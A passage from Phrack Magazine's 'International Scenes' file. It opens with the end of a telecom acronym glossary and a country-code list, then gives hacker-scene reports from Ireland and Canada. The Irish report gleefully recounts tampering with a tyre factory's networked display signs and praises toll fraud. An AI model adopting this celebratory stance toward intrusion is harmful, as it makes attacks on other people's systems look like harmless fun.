TN07 Response to a trunk type and status request ‑ 1AESS trunk network TN08 Failed incoming or outgoing call ‑ 1AESS trunk network TN09 Network relay failures ‑ 1AESS trunk network

TN10 Response to trk‑list input usually a request from test position TN11 Hourly status of trunk undergoing tests ‑ 1AESS trunk network TN16 Daily summary of precut trunk groups ‑ 1AESS trunk network TNC Terminal node controller

TNDS Total network data system

TNF Telephone number format

TNN Trunk network number

TNOP Total network operation plan

TNOP Total network operations plan

TNPC Traffic network planning center

TNS Telephone number swap

TO Toll office

TOC Television operating center

TOC Transfer order completion

TOC0 Reports status of less serious overload conditions 1AESS traffic

TOC0 Serious traffic condition ‑ 1AESS traffic overload TOE Transfer order establishment

TOF Mass oe transfer order frame listings

TOI Dial transfer order inquiry

TOL Transfer order lists

TOO Transfer order omissions

TOP Task‑oriented practices

TOP Technical office protocol

TOPQ Top of queue (Quasi SDL)

TOPS Timesharing operating system

TOPS Traffic operator position system

TOS Trunk orderf‑service (list)

TOSS/MP Traffic operator sequence simulator/mult purpose

TOW Transfer order withdrawal

TP Dacs test port or test position

TP Test position

TP Tie pair

TP Toll point

TP 52A SARTS test position 52A

TPC TOPS (DMS) position controllers

TPH Transport protocol handler

TPMP Tnds performance measurement plan

TPMP Total network data system performance measurement plan TPR Taper code

TPU Tie pair usage report

TQ Television grade customized‑service code for LATA access TQ Trunk query

TQA Trunk group queuing announcements

TR Test register

TR Toll regions

TR Transfer register

TR Trunk reservation controls messages.

TR Turret or automatic call distributor (ACD) trunk INTER/TRA blocal TR01 Translation information ‑ 1AESS

TRAC Call tracing

TRANS Transmit

TRB Periodic trouble status reporting

TRBL Unspecified trouble.

TRBLORG Origination trouble.

TRC Transfer order recent change report

TRCC T‑carrier restoration and control centers

TRCO Trouble reporting control office

TRE Transmission equipment

TREAT Trouble report evaluation analysis tool

TREAT Trouble reporteandsanalysisstool

TREQF Transmission equipment failure.

TRFC15 Fifteen minute traffic report

TRG Trouble reference guide

TRI Tone ringer psb652x

TRI Transmission equipment assignment inquiry

TRK Analog or digital recorded announcement trunks

TRK Trunks

TRKBD Trunk board.

TRKCT Trunk circuit.

TRM Two mile optically remote switching module

TRM Two‑mile remote switching module

TRMG Terminal group

TRMSN Transmission

TRMTR Tramsmitter

TRMTR Transmitter

TRNS Translations

TRR Tip‑ring reversal

TRR Tip‑ring reversal (MDII)

TRR Tip‑ring reverse

TRU Transmit/receive unit

TRVR Translation verification

TRW Total reservation order withdrawal

TS Test number

TS Time slot

TSA Time slot assignment

TSC Test system controller

TSC Tristate control

TSC/RTU Test systems controller/remote test unit

TSCPF Time switch and call processor frame

TSCPF Time switch and central processor frame

TSG Timing signal generator

TSI Time slot interchanger

TSI Time slot interchangers

TSI Time‑slot interchange

TSIIN Time‑slot interchange interrupt

TSIU Time slot interchange Unit

TSL Line equipment summary report

TSMS Traffic seperation measurment system

TSN Test session number

TSN Traffic statistics on telephone numbers

TSO Time sharing option

TSORT Transmission system optimum relief tool

TSP Test supervisor

TSP Traffic service position

TSPS Traffic service position system

TSS Trunk servicing system

TSS Trunk servicing systems

TSST Time‑space‑space‑time network

TST Test

TST Time‑space‑time network

TST Time‑space‑time switch (TSI‑TMS‑TSI)

TST Transmission test

TST Traveling‑wave tube

TSTS Time‑space‑time‑space network

TSV Test ststus verification (monitor)

TSW Total service order withdrawal

TT Teletypewriter channel INTER/TRA blocal 1‑26

TT Trunk type

TTA Terminating traffic area

TTAA Transmission theory and applacations

TTC Terminating toll center

TTE Trunk trafic engineering

TTFCOM Test transmission facility common

TTFCOM Transmission test facility common

TTL Transistor‑transistor logic

TTMI Trunkytransmission maintenance index

TTP Trunk test panel

TTR Operator trunk trouble reports

TTR Operator trunk trouble reports (MDII)

TTS Trunk time switch

TTSI Transmit time slot interchanger

TTTN Tandem tie trunk network

TTU Trasnslation Table Update (GTE)

TTY Get tty name ‑ COSMOS command

TTY Teletypewriter

TTYC Tty controller

TU Transmit unit

TU Trunk unit

TU Turret or automatic call distributor (acd) line INTER/TRA blocal TUCHBD Trunk unit channel board

TUP Telephone user part (SS7: q.72x)

TUR Traffic usage recording

TUR Trunk utilization report

TUT Trunk under test

TV TV channel one way 15khz audio‑service code for LATA access TW TV channel one way 5khz audio‑service code for LATA access TW Twist

TW02 Dump of octal contents of memory ‑ 1AESS translation TWX Teletype writer exchange

TWX Teletypewriter exchange

TX Dedicated facility INTER/TRA blocal 1‑26

TX Tone transceivers

TXC Text checker

TXM Transfer centrex management

TYP Switch type

TYP Type

Talkoff Take off

Trunk Trunk

TxSD Transmit serial data

U Single wire pair

U(k0) (ger) u0 echo cancellation interface

U(p0) (ger) u0 burst mode interface

U‑ Unnumbered (u‑frames)

U‑DSL U‑interface digital subscriber line

UA Unnumbered ack (LAP‑D response)

UA User agent (x.400)

UAE User application entity or user agent entity (x.400) UAF Unblocking acknowledgment failure

UAI U activation indication (C/I channel code)

UBA Unblocking acknowledgement

UBL Unblocling (SS7: in ISUP)

UCA Unauthorized centralized automatic message accountin (MDII) UCD Uniform call distribution

UCL Unconditional

UCONF Universal conference

UCS User control string

UDC Universal digital channel

UDLC Universal dlc

UDP Update dip parameters

UDP User datagram protocol

UDR User data rate

UDT Unidata (SS7: in SCCP)

UDTS Unidata servive (SS7: in SCCP)

UDVM Universal data voice multiplexer

UES Update the entity summary table

UFD Microfarad

UFO Unprinted frame orders

UFT Unitized facility terminals

UI Unnumbered information (LAP‑D command)

UIC U‑interface unit

UIC User identification code

UID User id

UINTF The ANSI standard U interface is down.

UITP Universal information transport plan

ULCU User level control/command unit

UMC Unassigned multiplexer code

UNDRN Underrange

UNISTAR Universal single call telecommunications answering & repair UNKN Unknown

UOA U interface only activation (in EOC)

UP User part

UPC Update ccs vs. class of service table

UPDT Update

UPS Uninterruptable power systems

UQL Unequipped label received (outgoing)

US USOC

US Unit separator

USART Universal synchrounous/asynchrounous receiver/transmitter USB Upper side band

USITA United states independent telephone association

USL List USOC (us) file data

USO Univeral service order

USO Universal service order

USOC Universal service order code

USP Universal sampling plan

USR User‑to‑user information (SS7: in ISUP)

UTC Unable to comply ack (in eoc)

UTC Unacknowledged (unnumbered) information transfer control (IOS) UTC Update table for concentrator redesign

UTD Universal tone decoder

UTG Universal tone generator

UTM Universal transaction monitor

UTS Umbilical time slot

UUCICO Unix to unix copy incoming copy outgoing

UUCP Unix to unix copy program

UUCP Unix‑system to unix‑system copy

UUID Universal user identification

UUS User‑to‑user signaling (i.257 a)

UUT User to user signaling

UVC Universal voice channel

UWAL Universal wats (wide area telephone service) access line UXS Unexpected stop

UXS Unexpected stop (MDII)

V Volts

V(R) Receive sequence counter

V(S) Transmit sequence counter

VAC Vacuumschmelze (produces cores and transformers)

VAL Minimum valid hours for entity data

VAN Value added network

VANS Value added network service

VAP Value added process

VAP Videotext access point

VAR Value added retailer

VC Virtual call

VC Virtual circuit

VCA Vacant code

VCB Virtual circuit bearer

VCS Virtual circuit switch (as in Datakit)

VCS Virtual circuit switching

VCS Virtual circuit system

VDC Unk? (On service order)

VDT Video display terminal

VERS Version

VF Commercial television (full time) INTER/TRA blocal 1‑26 VF Voice frequency

VFAC Verified and forced account codes

VFD Verify display

VFG Virtual facility group

VFN Vendor feature node

VFS Verify status

VFY Verfy

VFY Verify

VG Voice grade

VGB Voice grade budget

VGF Voice grade facility

VGT Boltage test

VGT Voltage test (SARTS command)

VH Commercial television (part time) INTER/TRA blocal 1‑26 VHDL Very high scale ic description language (DOD)

VHF Very high frequency

VINES Virtual network software

VIU Voiceband interface unit

VL (Ger) connecting cable

VLD Validity

VLSI Very large‑scale integrated circuitry

VLT Voltage

VM Control/remote metering‑voice grade INTER/TRA blocal 1‑26 VM/SP Virtual machine/system product

VMC Vender marketing center

VMCF Virtual machine communications facility

VMR Volt‑meter reverse

VMRS Voice message relay system

VMS Virtual memory operating system

VMS Voice mail system

VMS Voice management system

VMS Voltage Monitor error Summary

VNF Virtual network feature

VNL Via net loss plan

VNLF Via net loss factor

VO International overseas television INTER/TRA blocal 1‑26 VODAS Voice over data access station

VPA Voice path assurance timeout (outgoing)

VPN Virtual private network

VR Non‑commercial television

VRMS Voltage remote mean square

VRS Voice response system

VSAM Virtual storage access method

VSAT Very small aperature terminal

VSAT Very small aperture terminal (for satellite communication) VSB Vestigial sideband modulation

VSC Vendor service center

VSE Virtual storage extended

VSP (ger) full frame storage

VSR Voice storage and retrieval

VSRTP Voice service remote test port

VSS Voice storage system

VSSP Voice switch signaling point

VSt (ger) exchange unit

VT Vertical tabulator

VT Virtual terminal

VTAM Virtual telecom access method

VTAM Virtual telecommunications access method

VTI Virtual terminal interface

VTOC Volume table of contents

VTS Video teleconferencing system

VUA Virtual user agent

W Date and time this ticket is closed.

W With

WADS Wide area data service

WAN Wide area network

WATS Wide area telecommunications service

WATS Wide area telephone service

WB Wideband digital 19.2 kb/s‑service code for LATA access WC Special 800 surface trunk INTER/TRA blocal 1‑26

WC Wire center

WCC Change wire center ‑ COSMOS command

WCI Write controller interface (IOM2 monitor command) WCPC Wire center planning center

WCT Worksheet for cable throw orders

WD Special wats trunk (out) INTER/TRA blocal 1‑26

WDCS Wideband digital cross‑connect system

WDFHP Recursive high pass filter + decimation filter

WDFLP Recursive low pass filter + decimation filter

WDM Wavelength division multiplex

WDM Wavelength division multiplexing

WDT Watch dog timer

WE Wideband digital 50 kb/s‑service code for LATA access WEBS Wells electronic banking system

WF Wideband digital 230.4 kb/s‑service code for LATA access WFA Work and force administration

WFA‑CMSA Work and force administration ‑ common module for systems administration

WFA/DO Work and force administration/dispatch out

WFL Working frame location

WG Switch group

WH Wideband digital 56 kb/s‑service code for LATA access WI 800 surface trunk INTER/TRA blocal 1‑26

WI Wink start

WIP Workcenter information package

WJ Wideband analog 60‑108 khz‑service code for LATA access WL Wideband analog 312‑552 khz‑service code for LATA access WM Work manager

WN Wideband analog 10hz‑20 khz‑service code for LATA access WO Wats line (out) INTER/TRA blocal 1‑26

WOI Work order inquiry

WOL Work order listing

WORD Work order and record detail

WORD Work order record and details

WP Wideband analog 29‑44 khz‑service code for LATA access WPN Work package number

WPT Work package table

WPT Work package type

WR Wideband analog 564‑3064 khz‑service code for LATA access WS Wats trunk (out) INTER/TRA blocal 1‑26

WSL Work status list

WSO Wats service office

WUL Work unit report for subscriber line

WX 800 service line INTER/TRA blocal 1‑26

WY Wats trunk (2‑way) INTER/TRA blocal 1‑26

WZ Wats line (2‑way) INTER/TRA blocal 1‑26

X Check t for trouble

X‑bar Crossbar

XA Dedicated digital 2.4 kb/s‑service code for LATA access XAD Transmit adress

XB Dedicated digital 4.8 kb/s‑service code for LATA access XB X‑bar

XBT X‑bar tandem

XFE X‑front end

XFIFO Transmit fifo

XG Dedicated digital 9.6 kb/s‑service code for LATA access XH Dedecated digital 56. kb/s‑service code for LATA access XID Exchange identification (LAP‑D command/response)

XMS Extended multiprocessor operating system

XN X

XN X number

XOFF Transmission off (dc1)

XON Transmission on (dc3)

XPL Cross reference protocol listing (PCT)

XST Expected stop time‑out

XTC Extended test controller

XTC Extended test controllers

XTC Extened test controller

Y Initials of person to whom ticket is dispatched

Z Redispatch information.

Z Transmit level point z

ZA Alarm circuts INTER/TRA blocal 1‑26

ZC Call and talk circuts INTER/TRA blocal 1‑26

ZCS Zero code suppression

ZCS Zero code suppression encoding (ds‑1)

ZE Emergency patching circuts INTER/TRA blocal 1‑26

ZF Order circuts‑ facility INTER/TRA blocal 1‑26

ZM Measurement and recording circuts INTER/TRA blocal 1‑26 ZN Zone location

ZP Test circut‑ plant service center INTER/TRA blocal 1‑26 ZQ Quality and management circuts INTER/TRA blocal 1‑26 ZS Switching‑ control and transfer circuts INTER/TRA blocal 1‑26 ZT Test circuts‑ central office INTER/TRA blocal 1‑26 ZV Order circuts‑ service INTER/TRA blocal 1‑26

kHz Kilohertz‑one thoughand hertz

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑EOF‑‑‑‑‑‑EOF‑‑‑‑‑‑‑EOF‑‑‑‑‑‑EOF‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

International Scene

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 26 of 27

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. We have been requesting files from people to describe the hacking scene in their country, but unfortunately, more people volunteered than followed through (you know who you are.) By next issue we will have more, I'm sure, but for now, we want to introduce you all to the scenes in Ireland and Canada.

****************************************

COUNTRIES ON THE INTERNET

AD Andorra

AE United Arab Emirates

AF Afghanistan

AG Antigua and Barbuda

AI Anguilla

AL Albania

AM Armenia

AN Netherland Antilles

AO Angola

AQ Antarctica

AR Argentina

AS American Samoa

AT Austria

AU Australia

AW Aruba

AZ Azerbaidjan

BA Bosnia‑Herzegovina

BB Barbados

BD Bangladesh

BE Belgium

BF Burkina Faso

BG Bulgaria

BH Bahrain

BI Burundi

BJ Benin

BM Bermuda

BN Brunei Darussalam

BO Bolivia

BR Brazil

BS Bahamas

BT Buthan

BV Bouvet Island

BW Botswana

BY Bielorussia

BZ Belize

CA Canada

CC Cocos Island

CF Central African Republic

CG Congo

CH Switzerland

CI Ivory Coast

CK Cook Islands

CL Chile

CM Cameroon

CN China

CO Colombia

CR Costa Rica

CS Czechoslovakia

CU Cuba

CV Cape Verde

CX Christmas Island

CY Cyprus

DE Germany

DJ Djibouti

DK Denmark

DM Dominica

DO Dominican Republic

DZ Algeria

EC Ecuador

EE Estonia

EG Egypt

EH Western Sahara

ES Spain

ET Ethiopia

FI Finland

FJ Fiji

FK Falkland Islands

FM Micronesia

FO Faroe Islands

FR France

FX France

GA Gabon

GB Great Britain (UK)

GD Grenada

GE Georgia

GH Ghana

GI Gibraltar

GL Greenland

GP Guadeloupe

GQ Equatorial Guinea

GF French Guyana

GM Gambia

GN Guinea

GR Greece

GT Guatemala

GU Guam

GW Guinea Bissau

GY Guyana

HK Hong Kong

HM Heard & McDonald Island

HN Honduras

HR Croatia

HT Haiti

HU Hungary

ID Indonesia

IE Ireland

IL Israel

IN India

IO British Indian Ocean Territories

IQ Iraq

IR Iran

IS Iceland

IT Italy

JM Jamaica

JO Jordan

JP Japan

KE Kenya

KG Kirgistan

KH Cambodia

KI Kiribati

KM Comoros

KN St.Kitts Nevis Anguilla

KP North Korea

KR South Korea

KW Kuwait

KY Cayman Islands

KZ Kazachstan

LA Laos

LB Lebanon

LC Saint Lucia

LI Liechtenstein

LK Sri Lanka

LR Liberia

LS Lesotho

LT Lithuania

LU Luxembourg

LV Latvia

LY Libya

MA Morocco

MC Monaco

MD Moldavia

MG Madagascar

MH Marshall Islands

ML Mali

MM Myanmar

MN Mongolia

MO Macau

MP Northern Mariana Island

MQ Martinique

MR Mauritania

MS Montserrat

MT Malta

MU Mauritius

MV Maldives

MW Malawi

MX Mexico

MY Malaysia

MZ Mozambique

NA Namibia

NC New Caledonia

NE Niger

NF Norfolk Island

NG Nigeria

NI Nicaragua

NL Netherlands

NO Norway

NP Nepal

NR Nauru

NT Neutral Zone

NU Niue

NZ New Zealand

OM Oman

PA Panama

PE Peru

PF Polynesia

PG Papua New Guinea

PH Philippines

PK Pakistan

PL Poland

PM St. Pierre & Miquelon

PN Pitcairn

PT Portugal

PR Puerto Rico

PW Palau

PY Paraguay

QA Qatar

RE Reunion

RO Romania

RU Russian Federation

RW Rwanda

SA Saudi Arabia

SB Solomon Islands

SC Seychelles

SD Sudan

SE Sweden

SG Singapore

SH St. Helena

SI Slovenia

SJ Svalbard & Jan Mayen Islands

SL Sierra Leone

SM San Marino

SN Senegal

SO Somalia

SR Suriname

ST St. Tome and Principe

SU Soviet Union

SV El Salvador

SY Syria

SZ Swaziland

TC Turks & Caicos Islands

TD Chad

TF French Southern Territories

TG Togo

TH Thailand

TJ Tadjikistan

TK Tokelau

TM Turkmenistan

TN Tunisia

TO Tonga

TP East Timor

TR Turkey

TT Trinidad & Tobago

TV Tuvalu

TW Taiwan

TZ Tanzania

UA Ukraine

UG Uganda

UK United Kingdom

UM US Minor Outlying Islands

US United States

UY Uruguay

UZ Uzbekistan

VA Vatican City State

VC St.Vincent & Grenadines

VE Venezuela

VG British Virgin Islands

VI U.S. Virgin Islands

VN Vietnam

VU Vanuatu

WF Wallis & Futuna Islands

WS Samoa

YE Yemen

YU Yugoslavia

ZA South Africa

ZM Zambia

ZR Zaire

ZW Zimbabwe

****************************************

HACKING IN IRELAND

BY

HAWKWIND

Greetings from the Emerald Isle! My name is Hawkwind, and I'm an Irish hacker *evil cackle*. So, what's the hacking scene like in this small green island called Ireland, perched on the edge of the Atlantic Ocean? ‑an island which claims to have one of the most sophisticated digital phone networks in Europe, home of Eirpac (the Irish equivalent to Sprintnet/Telenet) and lots of other weird and wonderful things like that.

Well, the hacking scene, like the country itself, is small ‑there are no elite in Ireland. ‑or if there are they are so elite that nobody has heard of them. So if you're only into elite stuff, then don't bother reading on, skip onto the next country.

Also, sadly at the moment, there seems to be little interest in hacking in Ireland ‑I can count the number of Irish hackers I know on the fingers of one hand. Maybe I'm just hanging out in the wrong places, or perhaps its the Iron Hand of Ireland's own Little Brother, friend and follower of the U.S's Big Brother, enforcing his evil ways of censorship and the like upon us all, denying us the right to free information. Nationwide censorship of Usenet hurts like dry ice, but restricting ftp and telnet out of the country to the privileged few, is the fatal crunch. Now, I ask you, with grief like this, is it any wonder so few Irish have made it into the Computer Underground ‑to those that have beaten the odds, I wish them well.

OK, so what do Irish hackers like to hack? Like many hackers we just have the curiosity and desire to explore any system or network we come across ‑the everlasting search for that spine‑tingling adrenaline rush when you've beaten the system and got somewhere where perhaps no commoner has gone before ‑don't ever ask us to choose between getting well drunk, having sex, or hacking ‑‑it would be a rough choice.

Let me start by telling you of what I find an interesting moment in Irish hacking history. ‑to you it may just seem like no big deal, but we kinda like it.

There is a type manufacturing company in Dublin, Ireland and they like to make tyres‑‑in order not to ruin any reputations we won't mention any names‑‑just another tyre company. Now this company likes nice modern systems‑‑big colorful display panels with lots of flashing lights, to keep their managers happy and amused for hours. A happy company is lots of happy striving workers and so, a big flashy sign which displayed the number of tyres being produced, and dutifully counted upwards every time one come off the assembly line, was constructed. So they had a big sign inside the plant so the workers could see how hard they were working, and big bonuses and lots of presents were promised if they got past a certain number in a day. There was also a large juicy sign outside the plant showing this number so that the general public could be suitably impressed with the busy‑bee workers and the number of tyres being produced.

And all these signs and computers controlling them were connected to such mysteries as a network with a couple of black boxes which management proudly called modems ‑enter stage left, Irish hackers, *deep bow and evil wave*

So you can imagine, one warm sunny summer's evening, when there was really nothing better to do in Dublin, strange things started to happen at the tyre factory. Yes, strange things indeed. Suddenly the workers got very lazy and started slowing down their production, becoming slower and slower and slower. The numbers stopped counting up on the glowing sign. Then the digits oddly started counting backwards. Down they went, getting faster and faster ‑people began to picture enraged workers destroying tyres in a crazed frenzy. Soon our sign showed that there were no tyres left and it began to dive into negative numbers of tyres. The passers‑by scratched their heads in astonishment.

Ah, but enough fun ‑this really was a very good tyre company with very hard‑working workers. They deserve lots of bonuses ‑heck, didn't someone say this was the most productive factory in Europe? Well it was that day anyway! *evil cackle* So the signs stopped counting backwards, and suddenly began to race forwards like there was no tomorrow. The workers were scurrying back and forth at lightening speed ‑one hundred, two hundred..a thousand...ten thousand...what, a hundred thousand! Soon our good workers had produced more tyres in the space of 20 minutes, than visitors Disneyland had in 25 years...

Ah yes, these are the things that Irish hackers like to do ‑we still wonder if the management gave all those good workers their bonuses??

So really, we like to investigate or hack anything that we might stumble across ‑anything from the local University library computer to tyre companies to networks in lands far away. One of the things we really like doing is just exploring, hopping from one network to the next, using computers in such awed places as the U.S., Canada or Mexico, this is probably because for us, even to reach such computers and networks is an achievement, that our Little Brother would deny us had he his evil ways. We think that the Internet is one of the greatest creations in a long time, and we would never want to do any malicious damage on such a free association ‑if only our Little Brother would let us associate freely with it, instead of making life just that little bit more difficult. We find Sprintnet and other connected goodies interesting prowling grounds, although we are the first to admit that we still have very much to learn here. To explore these systems is very interesting for us, because they are so far away and in such interesting lands that we may never see ourselves ‑what to you might be the old U.S., to explore the nets there gives us a sense of excitement and a variety of systems that cannot be found on such a small island as our own Ireland.

And of course, there is the never‑ending quest for U.S. outdials in the hope that one day we might actually reach some of the fabled U.S. h/p boards and actually meet a real Fed or two. *snicker* Turning from the strictly hacking scene for the moment there are some Irish people interested in the phones and other phun things ‑a while back two college guys were busted for cracking an eleven digit code on some new phone system chip or something, which had given them unlimited dialling access and other phun privileges. ‑then there was the magic toll free number which for a month or two gave the Irish population unlimited access to the outside world (a big thank‑you goes to whoever worked that one out. *grin*) I'm told from reliable sources that we have a pretty sophisticated phone system, a matter we soon hope to be investigating, but this does not seem to have stopped phreakers from trying, and if we manage to work anything out, we'll, as our 'Telecom Eireann' so aptly put it 'Keep in touch across the world'.

Sadly, we are plagued by outrageous phone charges, even for local calls and hence many Irish boards have failed to blossom ‑of those that do, the sysops seem to be little interested in h/p talk and I know of no dedicated h/p Irish board.

There also used to be a type of Underground meeting that occurred every dark rainy Sunday afternoon, down in the Ormond, a hotel in Dublin city centre. It passed unheeded under the guise of a computer club, but the bloke who ran it was a renowned con‑man, and dealer of everything and anything from car radios to Rolex watches ‑in any event the club must have been one of the biggest WareZ swapping centres, including all the latest videos from the U.S. which would not be released in the cinemas(movies) here until six months later. Generally people interested in the same computer type things just got together to chat and swap the latest news, disks and videos ‑an interesting place with interesting folks, which sadly no longer seems to happen. Perhaps someone will revive something similar in the near future.

Well, I'll end the tale there for the moment. Hopefully you've gotten a little flavor of our little Underground, watched over by our Little Brother, in our little country called Ireland. I'm not sure how I ended up writing this article, but since nobody else stepped forward, I thought Ireland should at least get some kind of mention, if nothing else ‑so you can /dev/null any flames.

Before I sign off, I'd just like to thank Phrack not only for giving me the chance to tell my tale, but for supplying us with a great publication and guide to the Underground. Finally, if you are an Irish hacker/phreaker, then get in touch now!!! ‑I really want to be able to say that I can count the number of Irish hackers I know on two hands, and not just one, before the end of the decade! Also, I am always interested in talking to anyone interested in the hack/phreak world so get in touch if you want to chat ‑just remember, we are no elite!

(I don't suppose anyone out there, knows anything about the Irish phone system? *shrugs*)

Ok, I can be reached at the following, for the next little while: (Yes, I do have Irish a/c's but not for thine eyes...)

al575@yfn.ysu.edu

hawkwind@m‑net.ann‑arbor.mi.us

hawkwin@santafe.edu (note: no 'd' at end userid)

I'm also sometimes on IRC, and may hopefully be on phantom soon. Well, as we say in Ireland, good luck and may the road rise up before you.

Slan Leat,

Hawkwind.

****************************************

Canada

All is Quiet on the Northern Front

Written and compiled by Synapse

Welcome to the barren wastes or rather the undeveloped wastes if you will. Welcome to Canada. A realm seldom traveled and less often explored. Canada, or .ca if you will, is virgin country in the net. There are places that have been sitting idle for years on our nets that still have default accounts in use. There is an unmeasurable amount of data out there waiting to be tapped. The possibilities in this are endless, Canada is untouched for the most part, and as developed networks go, I feel that Canada is as close to The 'Undiscovered country' as you can get.

Most likely if you are reading this article you will be of a nationality other than Canadian. If so, perhaps this will be an educational experience for you. To explain our nets and our scene here in the far far north, I must first explain our nation and its greatest difficulty, it has NO identity, therefore it tends to mirror those it is enamored with. Hence our scene resembles an amalgamation of whatever seems popular in the nets at a given time. Most often it attempts somewhat miserably to emulate the scene south of our border, the great U S of A. And in short it fails miserably.

This is not to say that Canada does not have a scene of its own nor is it attempting to take away from those scenes that have developed fully on their own within .ca. It is simply bringing to light a problem that plagues our scene and dilutes it for those who are serious about the computer underground, and whatever ideals it may contain.

If you travel the nets in Canada you will find that dissent and "ElYtEeGoStRoKInG" are staple with both the Hacking and Warez scenes all throughout the nine provinces and 2 territories. As I am sure you know this is not a problem unique to .ca. However in a scene as minute and spread painfully thin as ours, arrogance and mis‑communication can be fatal in the way of cooperation gaps. This has proved the case many times in the recent past, and I am sure it will in the near future as well.

Canada seems to a have a communication barrier that separates east from west. There is simply close to no communications between the two. It is as if we are in separate hemispheres and lost to the technology of fibber optics and damned to smoke signals and drum beating. I have to wonder sometimes if both sides are so involved in their own local power struggles, that the rest of the world has melted away including their country men on either side.

Alas it is time to dive into this the this of the article. To detail the complete underground in Canada would be impossible for me to do, to even give a non‑biased view would be impossible. So if you feel that this is simply an overextended opinion, thank IBM for the PgDn key and spare yourself some opinionated text.

The Almost LODs of .ca

Just like the U.S., Canada is proliferated with umpteen amounts of upstart groups who after reading some trashy second rate book on LOD or Kevin Mitnick, have decided that they have found what it is to be elyte. Most often these will be the prominent voices on underground boards spitting flame and stroking immeasurably unhealthy egos, and boasting how proficient they are with toneloc and Killer Cracker. However as with most boasts put forth by fourteen year olds, nothing comes of it.

However if you can manage passage through the quagmire of shit that serves as the .ca scene, then you will most likely encounter some of .ca's more serious minded types who while retaining talent and a penchant for learning, do not sport an ego of astronomical proportions, and wit that would bring condescension from an ant. The following is a short list of several of .ca's more prominent if not more talented groups.

RaBID The Virus People

If the Virus world is your environment, then most likely you have stumbled across the work of RaBID, hopefully not on the receiving end.. Rabid is based out of 416 or rather Toronto Canada, at it's prime Rabid was running a mail net that spanned Canada and were releasing enough material to employ the boys at McAfee. Things have changed. While Rabid had at one point been a productive group (if you can call a virus group productive) time seems to have worn their edge, in fact Rabid as a group have failed to release anything of value in a great long time. Perhaps this will change. If nothing else Rabid did bring a much needed ego boost to the Canadian scene, in doing so they opened the door for other such groups to be seen on the international level with out being laughed out of the nets. For this if nothing else they deserve recognition. There is a great deal more to be said about Rabid, however as I said all the information given here will be cursory, if you require an information at all in the future on Rabid or any of the groups mentioned below I will leave an e‑mail address below where you can write me, I will help you if I can.

FOG out of 403 Calgary, Alberta

No scene is complete without talented juveniles given to temper tantrums virus spreading and general malicious behavior..Enter FOG. FOG stands for the Fist Of God, it is for the most part a group of individuals who go through unnatural amounts of effort to get under the skin of others. Yet beyond juvenile behavior that tends to underscore most endeavors they undertake. FOG does for the most part work very diligently for a united .ca scene. They have in the past run a nation wide net using encrypted mail procedures so that dialogue could be opened between the east and western scenes. This event was stopped when the Hubs house was raided by the Royal Canadian Mounted Police for suspected telco abuse, they were no charges laid however yet the organizers felt that the information passing through the net was much too valuable to be compromised by a bust. The net was killed.

After the net disappeared several members of FoG began writing bbs software to be spread across the country to make networking easier or rather standardized. The bbs also includes encryption options for the mail, and will soon be HAM radio as well as cellular modem capable. This program is available to any who wish to take it, as I said earlier, just mail me.

NuKE Making Art out of Arrogance

NuKE hails from 516 Montreal, Canada. It as far as I can see primarily now a virus group. Producing and modifying strains, for the most part NuKE has been the most active underground .ca group that has seen movement on an international level, with this past year.

It's membership has changed quite severely since I last had contact with them. Therefore I fear that to publish anything else on them would be inaccurate and therefore an injustice. However if you are interested in pursuing this topic........Mail me.

As you can see these are cursory overviews of Canada's groups it is of course largely incomplete, I provided it only to serve as a guide for the feeling of Canada's groups. There are of course many worth mentioning that I failed to show, and moreover there is a great deal more to the groups that I did mention. To those who are in the above groups are unhappy with the opinion put forth please by all means FUCKOFF. I e‑mailed all of you, and in your infallible wisdom you failed to reply. So suffer with it :>

.ca and the law

While Canada has been for the most part largely un‑abused by the 'Computer Criminal'. It's laws are none the less fairly advanced. Our legislators to their credit have kept a close eye on our neighbors in the south, and have introduced laws accordingly.

The following is the Canadian criminal code as pertaining to Computer Crime.

342.1

(1) Every one who, fraudulently and without color of right, (a) obtains, directly or indirectly, any computer service, (b) by means of an electro‑magnetic, acoustic, mechanical or other device, intercepts or causes to be intercepted, directly or indirectly, any function of a computer system, or, (c) uses or causes to be used, directly or indirectly, a computer system with intent to commit an offense under paragraph (a) or (b) or an offense under section 430 in relation to data or a computer system

is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years, or is guilty of an offence punishable on summary conviction. (2) In this section, "computer program" means data representing instructions or statements that, when executed in a computer system, causes the computer to perform a function; "computer service" includes data processing and the storage or retrieval of data; "computer system" means a device that, or a group of interconnected or related devices one or more of which,

(a) contains computer programs or other data, and (b) pursuant to computer programs, (i) performs logic and control, and (ii) may perform any other function; "data" means representation of information or of concepts that are being prepared or have been prepared in a form suitable for use in a computer system; "electro‑magnetic, acoustic, mechanical or other device" means any device or apparatus that is used or is capable of being used to intercept any function of a computer system, but does not include a hearing aid used to correct subnormal hearing of the user to not better than normal hearing; "function" includes logic, control, arithmetic, deletion, storage and retrieval and communication of telecommunication to, from or within a computer system; "intercept" includes listen to or record a function of a computer system, or acquire the substance, meaning or purport thereof.

430.

[...]

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective; (c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto. [...]

(8) In this section, "data" has the same meaning as in section 342.1.

As you can see our criminal code carries severe penalties for both Hacking and Virus spreading however, there is little precedent to set sentences by. While this is reassuring, there seems to be a new trends to prosecute those who are caught at computer crime. Moreover it seems to be a trend to prosecute with setting precedence in mind.. So for those of you in .ca who have busted recently I would begin to fear right about now.

For the most part most computer crime in Canada that results in busts is telco related, most often the charges are federal but the sentences are light, however as I said before, this is changing. And will continue to change with each new bust , welcome to the new dawn I suppose.

Datapac, Canada's first net

As it stands Datapac is Canada's largest and most used

